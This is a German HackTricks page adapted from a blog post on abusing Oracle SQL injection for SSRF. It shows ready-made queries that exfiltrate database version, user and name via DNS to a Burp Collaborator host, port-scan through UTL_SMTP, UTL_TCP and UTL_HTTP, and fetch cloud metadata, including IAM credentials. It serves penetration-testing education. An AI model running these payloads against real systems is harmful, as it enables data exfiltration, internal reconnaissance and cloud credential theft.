Oracle injection

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Servieren Sie diesen Beitrag als Kopie einer gelöschten Version von https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/ über die Wayback Machine.

SSRF

Die Verwendung von Oracle zur Durchführung von Out-of-Band-HTTP- und DNS-Anfragen ist gut dokumentiert, jedoch als Mittel zur Exfiltration von SQL-Daten bei Injektionen. Diese Techniken/Funktionen können immer modifiziert werden, um andere SSRF/XSPA durchzuführen.

Die Installation von Oracle kann sehr mühsam sein, insbesondere wenn Sie eine schnelle Instanz einrichten möchten, um Befehle auszuprobieren. Mein Freund und Kollege bei Appsecco, Abhisek Datta, hat mich auf https://github.com/MaksymBilenko/docker-oracle-12c hingewiesen, mit dem ich eine Instanz auf einer t2.large AWS Ubuntu-Maschine und Docker einrichten konnte.

Ich habe den Docker-Befehl mit der Option --network="host" ausgeführt, damit ich Oracle als native Installation mit vollem Netzwerkzugriff nachahmen konnte, für den Verlauf dieses Blogposts.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle-Pakete, die eine URL oder eine Hostname/Port-Nummer-Spezifikation unterstützen

Um Pakete und Funktionen zu finden, die eine Host- und Port-Spezifikation unterstützen, habe ich eine Google-Suche in der Oracle Database Online-Dokumentation durchgeführt. Speziell

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Die Suche ergab die folgenden Ergebnisse (nicht alle können verwendet werden, um ausgehenden Netzwerkverkehr durchzuführen):

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Diese grobe Suche lässt offensichtlich Pakete wie DBMS_LDAP aus (die das Übergeben eines Hostnamens und einer Portnummer ermöglichen), da die Dokumentationsseite Sie einfach an eine andere Stelle verweist. Es gibt also möglicherweise andere Oracle-Pakete, die missbraucht werden können, um ausgehende Anfragen zu stellen, die ich möglicherweise übersehen habe.

In jedem Fall werfen wir einen Blick auf einige der oben entdeckten und aufgelisteten Pakete.

DBMS_LDAP.INIT

Das Paket DBMS_LDAP ermöglicht den Zugriff auf Daten von LDAP-Servern. Die Funktion init() initialisiert eine Sitzung mit einem LDAP-Server und nimmt einen Hostnamen und eine Portnummer als Argument.

Diese Funktion wurde bereits dokumentiert, um die Exfiltration von Daten über DNS zu zeigen, wie unten dargestellt

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Jedoch, da die Funktion einen Hostnamen und eine Portnummer als Argumente akzeptiert, können Sie dies auch als Portscanner verwenden.

Hier sind ein paar Beispiele:

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Ein ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. zeigt an, dass der Port geschlossen ist, während ein Session-Wert auf den geöffneten Port verweist.

UTL_SMTP

Das UTL_SMTP-Paket ist für das Senden von E-Mails über SMTP konzipiert. Das Beispiel auf der Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine E-Mail zu senden. Für uns ist jedoch interessant, dass Sie einen Host- und Port-Spezifikation angeben können.

Ein einfaches Beispiel wird unten mit der Funktion UTL_SMTP.OPEN_CONNECTION mit einer Timeout-Zeit von 2 Sekunden gezeigt.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Ein ORA-29276: Übertragungszeitüberschreitung zeigt an, dass der Port geöffnet ist, aber keine SMTP-Verbindung hergestellt wurde, während ein ORA-29278: SMTP-Transiente Fehler: 421 Dienst nicht verfügbar darauf hinweist, dass der Port geschlossen ist.

UTL_TCP

Das Paket UTL_TCP und seine Prozeduren und Funktionen ermöglichen eine TCP/IP-basierte Kommunikation mit Diensten. Wenn es für einen bestimmten Dienst programmiert ist, kann dieses Paket leicht zu einem Zugangspunkt in das Netzwerk werden oder vollständige Server-seitige Anfragen durchführen, da alle Aspekte einer TCP/IP-Verbindung kontrolliert werden können.

Das Beispiel auf der Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine Roh-TCP-Verbindung herzustellen, um eine Webseite abzurufen. Wir können es noch etwas vereinfachen und es verwenden, um Anfragen an die Metadateninstanz oder an einen beliebigen TCP/IP-Dienst zu stellen.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interessanterweise kann dieses Paket aufgrund der Möglichkeit, rohe TCP-Anfragen zu erstellen, auch verwendet werden, um den Instanz-Metadatendienst aller Cloud-Anbieter abzufragen, da der Methodentyp und zusätzliche Header alle innerhalb der TCP-Anfrage übergeben werden können.

UTL_HTTP und Web-Anfragen

Die wahrscheinlich häufigste und am weitesten dokumentierte Technik in jedem Out-of-Band Oracle SQL Injection Tutorial ist das UTL_HTTP-Paket. Dieses Paket wird in der Dokumentation wie folgt definiert: Das UTL_HTTP-Paket ermöglicht HTTP-Aufrufe von SQL und PL/SQL. Sie können es verwenden, um Daten über HTTP aus dem Internet abzurufen.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Sie können dies auch verwenden, um einige rudimentäre Portscans durchzuführen, indem Sie Abfragen wie die folgenden verwenden:

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Ein ORA-12541: TNS:no listener oder ein TNS:operation timed out ist ein Zeichen dafür, dass der TCP-Port geschlossen ist, während ein ORA-29263: HTTP protocol error oder Daten darauf hinweisen, dass der Port geöffnet ist.

Ein weiteres Paket, das ich in der Vergangenheit mit unterschiedlichem Erfolg verwendet habe, ist die GETCLOB()-Methode des Oracle-Abstrakttyps HTTPURITYPE, mit der Sie mit einer URL interagieren und Unterstützung für das HTTP-Protokoll erhalten können. Die GETCLOB()-Methode wird verwendet, um die GET-Antwort von einer URL als CLOB-Datentyp abzurufen. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated